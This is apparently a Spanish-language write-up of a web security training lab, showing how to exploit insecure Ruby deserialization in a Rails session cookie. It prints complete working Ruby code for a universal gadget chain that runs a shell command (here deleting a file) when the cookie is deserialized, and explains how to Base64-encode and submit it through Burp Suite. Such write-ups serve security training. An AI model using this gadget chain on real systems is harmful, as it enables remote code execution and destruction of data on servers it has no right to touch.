
Descripción
This lab uses a serialization-based session mechanism and the Ruby on Rails framework. There are documented exploits that enable remote code execution via a gadget chain in this framework.
To solve the lab, find a documented exploit and adapt it to create a malicious serialized object containing a remote code execution payload. Then, pass this object into the website to delete the morale.txt
file from Carlos’s home directory.
You can log in to your own account using the following credentials: wiener:peter
Exploiting Ruby deserialization using a documented gadget chain writeup
Entraremos en el laboratorio en ‘My account’ e iniciaremos sesión con el usuario ‘wiener’ y la contraseña ‘peter’.
Esta vez el ‘Decoder’ apenas nos dará información sobre la cookie, sin embargo, podemos recurir al ‘Target’ de Burp Suite:

Aquí podemos ver que es un objeto serializado en el lenguaje ‘Ruby’. Para poder serializar la instrucción que borre el archivo, usaremos el código de Universal Deserialisation Gadget for Ruby 2.x-3.x, pero con ligeras modificaciones:
require 'base64'
# Autoload the required classes
Gem::SpecFetcher
Gem::Installer
# prevent the payload from running when we Marshal.dump it
module Gem
class Requirement
def marshal_dump
[@requirements]
end
end
end
wa1 = Net::WriteAdapter.new(Kernel, :system)
rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
rs.instance_variable_set('@git_set', "rm -r /home/carlos/morale.txt")
wa2 = Net::WriteAdapter.new(rs, :resolve)
i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")
n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)
t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)
r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)
payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])
puts Base64.encode64(payload)
Primero, hemos importado la librería base64, para codificar la cookie. Segundo, hemos añadido la instrucción ‘rm -r /home/carlos/morale.txt’. Tercero, hacemos que imprima la cookie codificada en Base64. Este código lo podemos ejecutar en un compilador online. Nos llevaremos la cookie y una petición cualquiera al ‘Repeater’. Allí la sustituiremos y codificaremos todos sus caracteres a URL. Al enviar la petición completaremos el laboratorio:
